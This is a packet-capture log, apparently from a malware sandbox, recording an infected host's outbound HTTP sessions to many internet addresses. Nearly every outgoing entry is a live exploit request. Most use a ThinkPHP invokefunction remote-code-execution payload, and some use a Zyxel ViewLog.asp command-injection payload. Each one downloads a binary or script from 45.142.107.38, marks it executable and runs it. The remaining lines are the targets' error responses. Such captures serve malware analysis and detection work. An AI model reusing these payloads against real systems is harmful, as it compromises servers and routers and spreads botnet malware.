Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.949347019 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:28.114075899 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.13	47958	95.170.229.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:27.975936890 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:28.186486006 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.13	36538	95.0.53.113	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.003747940 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:29.143044949 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:30.487036943 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.335093021 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:38.711041927 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:49.463140965 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:11.735023022 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:54.743005991 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.13	39440	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.171196938 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:25Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.13	43340	95.181.231.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.182135105 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:28.415198088 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Mon, 04 Mar 2024 14:06:28 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.13	35754	112.198.131.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.312761068 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:29.441570997 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.13	41374	95.164.131.58	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.468432903 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:28.743284941 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:28.831805944 CET	1260	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:06:28 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3574 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.13	35230	95.205.71.53	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.584295034 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.13	57692	62.101.58.178	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.584330082 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.13	36684	94.123.49.144	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.588059902 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.13	53016	94.121.22.204	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.591365099 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.13	57246	88.87.140.93	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.619697094 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.13	57206	88.87.140.93	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.785326958 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.13	35440	95.101.64.245	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.791831017 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:28.964624882 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:06:28 GMT Date: Mon, 04 Mar 2024 14:06:28 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 37 65 36 36 35 35 66 26 23 34 36 3b 31 37 30 39 35 36 31 31 38 38 26 23 34 36 3b 36 34 66 35 62 37 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b7e6655f.1709561188.64f5b77</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.13	39500	154.39.194.125	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.811944962 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:26Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.13	56150	95.85.147.19	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.823992014 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.13	54420	95.31.199.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:28.833486080 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
